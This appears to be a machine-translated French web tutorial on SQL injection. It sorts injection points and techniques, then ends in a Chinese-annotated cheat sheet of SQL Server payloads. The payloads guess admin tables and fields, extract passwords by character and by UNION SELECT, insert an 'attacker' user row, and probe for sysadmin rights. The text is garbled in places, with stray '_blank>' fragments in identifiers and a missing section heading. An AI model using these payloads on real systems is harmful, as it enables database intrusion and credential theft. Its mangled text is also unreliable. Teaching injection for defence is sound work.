Maison  >  Article  >  base de données  >  Qu'est-ce qu'une instruction d'injection SQL ?

Qu'est-ce qu'une instruction d'injection SQL ?

藏色散人
藏色散人original
2021-03-10 14:01:3837519parcourir

Il existe trois types d'instructions d'injection SQL, à savoir : 1. Point d'injection numérique, avec des instructions telles que "select * from table name which id=1 and 1=1" ; 2. Points d'injection de caractères, avec des instructions telles que « sélectionnez * à partir du nom de la table où nom » ; 3. Recherchez le point d'injection.

Qu'est-ce qu'une instruction d'injection SQL ?

L'environnement d'exploitation de cet article : système Windows 7, version SQL Server 2016, ordinateur Dell G3.

Instructions d'injection SQL courantes

Injection SQL

1. Qu'est-ce que l'injection SQL

En insérant des commandes SQL dans des formulaires Web Soumettre ou entrez la chaîne de requête du nom de domaine ou de la demande de page, et finalement incitez le serveur à exécuter des commandes SQL malveillantes.

2. Types d'injection SQL

Classés selon le type de point d'injection

(1) Point d'injection numérique

De nombreux liens web ont une structure similaire http : //xxx.com/users.php?id=1 L'injection basée sur ce formulaire est généralement appelée point d'injection numérique car le type d'identifiant du point d'injection est un nombre dans la plupart des pages Web, telles que l'affichage des informations personnelles de l'utilisateur, l'affichage d'articles. , etc., la plupart d'entre eux utilisent cette forme de structure pour transférer des informations telles que l'identité, les transmettre au backend, interroger les informations correspondantes dans la base de données et les renvoyer à la réception. Le prototype de ce type d'instruction SQL est probablement select * from 表名 where id=1 S'il y a injection, nous pouvons construire une instruction d'injection SQL similaire à la suivante pour le dynamitage : select * from 表名 where id=1 and 1=1

(2) Point d'injection de caractères

Le lien Web a une structure similaire http://xxx.com/users.php?name=admin. Le type de nom de point d'injection est un type de caractère, il est donc appelé point d'injection de caractère. Le prototype de ce type d'instruction SQL est probablement select * from 表名 where name='admin'. Il convient de noter que par rapport au prototype d'instruction SQL de type injection numérique, il y a plus de guillemets, qui peuvent être des guillemets simples ou doubles. S'il y a injection, nous pouvons construire une instruction d'injection SQL similaire à la suivante : select * from 表名 where name='admin' and 1=1 ' Nous devons nous débarrasser de ces guillemets ennuyeux.

(3) Rechercher le point d'injection

Il s'agit d'un type d'injection spécial. Ce type d'injection fait principalement référence au fait de ne pas filtrer les paramètres de recherche lors de la recherche de données. Généralement, il y a "keyword=关键字" dans l'adresse du lien. Certains ne sont pas affichés dans l'adresse du lien, mais sont soumis directement via le formulaire du champ de recherche. Le prototype de l'instruction SQL soumise par ce type de point d'injection est grossièrement : select * from 表名 where 字段 like '%关键字%' S'il y a injection, nous pouvons construire une instruction d'injection SQL similaire à la suivante pour le dynamitage : select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'

Soumettre en fonction des données La façon de classer

(1) Injection GET

La façon de soumettre les données est GET, et l'emplacement du point d'injection est dans la partie paramètre GET . Par exemple, il existe un tel lien http://xxx.com/news.php?id=1, id est le point d'injection.

(2) Injection POST

Utilisez la méthode POST pour soumettre des données. Le point d'injection se trouve dans la partie données POST, ce qui se produit souvent dans les formulaires.

La requête HTTP apportera le Cookie du client, et le point d'injection existe dans un certain champ du Cookie.

(4) Injection d'en-tête HTTP

Le point d'injection se trouve dans un certain champ de l'en-tête de la requête HTTP. Par exemple, il existe dans le champ User-Agent. À proprement parler, Cookie devrait en fait être considéré comme une forme d’injection d’en-tête. Car lors des requêtes HTTP, Cookie est un champ dans l’en-tête.

Classification selon l'effet d'exécution

(1) L'injection aveugle basée sur la booléenne

est une injection qui peut déterminer si la condition est vraie ou fausse basé sur la page renvoyée.

(2) L'injection aveugle basée sur le temps

signifie qu'aucune information ne peut être jugée sur la base du contenu de retour de la page, et les instructions conditionnelles sont utilisées pour vérifier si l'instruction de délai est exécutée (qui c'est-à-dire si le temps de retour de la page augmente).

(3) Injection basée sur le rapport d'erreurs

signifie que la page renverra des informations d'erreur ou renverra le résultat de l'instruction injectée directement à la page.

  1. Guillemets simples
  2. Guillemets doubles
  3. Injection basée sur des nombres

(4) Injection de requêtes syndicales

L'injection en cas d'union peut être utilisée.

Déclarations couramment utilisées

1.判断有无注入点 
; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass password 等.. 
and 0<>(select count(*) from *) 
and 0<>(select count(*) from admin) ---判断是否存在admin这张表
3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个 
and 0<(select count(*) from admin) 
and 1<(select count(*) from admin)
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称. 
and 1=(select count(*) from admin where len(*)>0)-- 
and 1=(select count(*) from admin where len(用户字段名称name)>0) 
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止 
and 1=(select count(*) from admin where len(*)>0) 
and 1=(select count(*) from admin where len(name)>6) 错误 
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6 
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确 
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12 
and 1=(select count(*) from admin where len(password)=12) 正确
6.猜解字符 
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位 
and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位 
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了 
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- 
这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
group by users.id having 1=1-- 
group by users.id, users.username, users.password, users.privs having 1=1-- 
; insert into users values( 666, attacker, foobar, 0xffff )--
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS
WHERE TABLE_blank>_NAME=logintable- 
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS
WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank
>_id)- 
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS
WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank
>_id,login_blank>_name)- 
UNION SELECT TOP 1 login_blank>_name FROM logintable- 
UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul--
看_blank>服务器打的补丁=出错了打了SP4补丁 
and 1=(select @@VERSION)--
看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。 
and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))--
判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA) 
and sa=(SELECT System_blank>_user)-- 
and user_blank>_name()=dbo-- 
and 0<>(select user_blank>_name()--

Recommandé (gratuit) : tutoriel SQL

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn